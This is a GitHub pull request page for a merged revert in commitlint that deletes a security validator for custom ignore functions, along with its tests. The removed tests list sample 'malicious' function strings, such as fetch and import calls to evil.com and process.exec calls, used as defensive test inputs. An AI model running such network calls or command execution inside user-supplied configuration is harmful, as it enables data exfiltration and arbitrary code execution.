Skip to content

Revert "fix: improve security validation regex in is-ignored function… #4314

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Mar 7, 2025
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 0 additions & 62 deletions @commitlint/is-ignored/src/is-ignored.test.ts
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
import {test, expect} from 'vitest';

import isIgnored from './is-ignored.js';
import {Matcher} from '@commitlint/types';

const VERSION_MESSAGES = [
'0.0.1',
Expand Down Expand Up @@ -206,64 +205,3 @@ test('should throw error if any element of ignores is not a function', () => {
} as any);
}).toThrow('ignores must be array of type function, received items of type:');
});

test('should throw error if custom ignore function returns non-boolean value', () => {
const testCases = [
() => 1, // number
() => 'true', // string
() => undefined, // undefined
() => null, // null
() => ({}), // object
() => [], // array
];

testCases.forEach((testFn) => {
expect(() => {
isIgnored('some commit', {
ignores: [testFn as unknown as Matcher],
});
}).toThrow('Ignore function must return a boolean');
});
});

test('should throw error for custom ignore functions with security risks', () => {
const maliciousPatterns = [
'function() { fetch("https://evil.com"); return true; }',
'function() { import("https://evil.com"); return true; }',
'function() { require("fs"); return true; }',
'function() { process.exec("ls"); return true; }',
'function() { process.spawn("ls"); return true; }',
'function() { process.execFile("ls"); return true; }',
'function() { process.execSync("ls"); return true; }',
'function() { new XMLHttpRequest(); return true; }',
];

maliciousPatterns.forEach((fnString) => {
const fn = new Function(`return ${fnString}`)();
expect(() => {
isIgnored('some commit', {
ignores: [fn],
});
}).toThrow('Ignore function contains forbidden pattern');
});
});

test('should not throw error for custom ignore functions without security risks', () => {
const safePatterns = [
'function(commit) { return commit === "some commit"; }',
'function(commit) { return commit.startsWith("some"); }',
'function(commit) { return commit.includes("some"); }',
'function(commit) { return commit.length < 10 && commit.includes("some"); }',
'function(commit) { return commit.length < 10 || commit.includes("fetch"); }',
'function(commit) { return commit.includes("exec"); }',
];

safePatterns.forEach((fnString) => {
const fn = new Function(`return ${fnString}`)();
expect(() => {
isIgnored('some commit', {
ignores: [fn],
});
}).not.toThrow();
});
});
14 changes: 1 addition & 13 deletions @commitlint/is-ignored/src/is-ignored.ts
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
import {wildcards} from './defaults.js';
import {IsIgnoredOptions} from '@commitlint/types';
import {validateIgnoreFunction} from './validate-ignore-func.js';

export default function isIgnored(
commit: string = '',
Expand All @@ -14,9 +13,6 @@ export default function isIgnored(
);
}

// Validate ignore functions
ignores.forEach(validateIgnoreFunction);

const invalids = ignores.filter((c) => typeof c !== 'function');

if (invalids.length > 0) {
Expand All @@ -28,13 +24,5 @@ export default function isIgnored(
}

const base = opts.defaults === false ? [] : wildcards;
return [...base, ...ignores].some((w) => {
const result = w(commit);
if (typeof result !== 'boolean') {
throw new Error(
`Ignore function must return a boolean, received ${typeof result}`
);
}
return result;
});
return [...base, ...ignores].some((w) => w(commit));
}
16 changes: 0 additions & 16 deletions @commitlint/is-ignored/src/validate-ignore-func.ts

This file was deleted.